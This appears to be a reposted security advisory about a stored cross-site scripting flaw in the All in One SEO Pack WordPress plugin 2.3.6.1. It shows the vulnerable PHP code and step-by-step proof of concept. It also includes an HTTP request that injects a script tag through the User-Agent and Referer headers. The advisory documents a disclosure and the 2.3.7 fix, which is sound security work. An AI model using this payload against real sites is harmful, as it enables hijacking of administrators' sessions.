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WordPress All In One SEO Pack 2.3.6.1 Cross Site Scripting

WordPress All In One SEO Pack 2.3.6.1 Cross Site Scripting
Posted Jul 11, 2016
Authored by David Vaartjes

WordPress All In One SEO Pack plugin version 2.3.6.1 suffers from a persistent cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | a0532b8b84d3b391236eaaec772e4390119e418ddeb1bdb40bb92cad63c83984

WordPress All In One SEO Pack 2.3.6.1 Cross Site Scripting

Change Mirror Download
------------------------------------------------------------------------
Persistent Cross-Site Scripting in All in One SEO Pack WordPress Plugin
------------------------------------------------------------------------
David Vaartjes, July 2016

------------------------------------------------------------------------
Abstract
------------------------------------------------------------------------
A stored Cross-Site Scripting vulnerability was found in the Bot Blocker
functionality of the All in One SEO Pack WordPress Plugin (1+ million
active installs). This issue allows an attacker to perform a wide
variety of actions, such as stealing Administrators' session tokens, or
performing arbitrary actions on their behalf.

------------------------------------------------------------------------
Tested versions
------------------------------------------------------------------------
This issue was successfully tested on the All in One SEO Pack WordPress
Plugin version 2.3.6.1.

------------------------------------------------------------------------
Fix
------------------------------------------------------------------------
This issue has been fixed in version 2.3.7 of the plugin.

Free version https://wordpress.org/plugins/all-in-one-seo-pack/
Pro version https://semperplugins.com/all-in-one-seo-pack-pro-version/

------------------------------------------------------------------------
Details
------------------------------------------------------------------------

https://sumofpwn.nl/advisory/2016/persistent_cross_site_scripting_in_all_in_one_seo_pack_wordpress_plugin.html

A stored Cross-Site Scripting vulnerability exists in the Bot Blocker functionality of the All in One SEO Pack WordPress Plugin (1+ million active installs). Particularly interesting about this issue is that an anonymous user can simply store his XSS payload in the Admin dashboard by just visiting the public site with a malformed User Agent or Referrer header.

The SEO Pack Bot Blocker functionality can be used to prevent certain bots from accessing/crawling the website. Bots can be detected based on User Agent and Referrer header patterns. When the User Agent contains one of the pre-configured list of bot names like "Abonti", "Bullseye" or "Exabot" the request is blocked and a 404 is returned.

If the "Track Blocked Bots" setting is enabled (not by default), blocked request are logged in that HTML page without proper sanitization or output encoding, allowing XSS.

The affected resource: /all-in-one-seo-pack/modules/aioseop_bad_robots.php

if ( $this->option_isset( 'block_bots' ) ) {
if ( !$this->allow_bot() ) {
status_header( 503 );
$ip = $_SERVER['REMOTE_ADDR'];
-> $user_agent = $_SERVER['HTTP_USER_AGENT'];
-> $this->blocked_message( sprintf( __( "Blocked bot with IP %s -- matched user agent %s found in blocklist.",
-> 'all-in-one-seo-pack' ), $ip, $user_agent ) );
exit();
} elseif ( $this->option_isset( 'block_refer' ) && $this->is_bad_referer() ) {
status_header( 503 );
$ip = $_SERVER['REMOTE_ADDR'];
-> $referer = $_SERVER['HTTP_REFERER'];
-> $this->blocked_message( sprintf( __( "Blocked bot with IP %s -- matched referer %s found in blocklist.",
-> 'all-in-one-seo-pack' ), $ip, $referer ) );
}
}


The resulting HTML code:

<span class="aioseop_option_input"><div class="aioseop_option_div" ><pre>2016-07-05 18:59:37 Blocked bot with IP 172.16.232.1 -- matched user agent Abonti </pre><script>alert(1);</script>found in blocklist.

Proof of concept

1/ Go to the "Bad Bot Blocker" settings page in All in one SEO menu.
2/ Enable "Block Bad Bots using HTTP" and/or "Block Referral Spam using HTTP".
3/ Send exploit request (with payload in referer or user-agent) to the server. Anywhere.
Make sure to send your exploit request as an anonymous user. When you are logged in (have cookies), you are never seen as a bot.
4/ If all set up ok, your request will be blocked (HTTP/1.1 503 Service Unavailable)
5/ Open the "Bad Bot Blocker" settings page as WP admin.
6/ Your payload will run, since it is logged in a <pre> tag.

Potential use "Track Blocked Bots" setting to show/hide the <pre> block. Not needed for payload to run. Payload can be set in User-Agent or Referer field

REQUEST:

GET / HTTP/1.1
Host: 172.16.232.130
User-Agent: Abonti </pre><script>alert(1);</script>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.232.130/</pre><script>alert(1);</script>
Connection: close
Cache-Control: max-age=0

RESPONSE:

HTTP/1.1 503 Service Unavailable
Date: Tue, 05 Jul 2016 19:31:19 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8

/advisory/SFY20160725/SEOXSS.png
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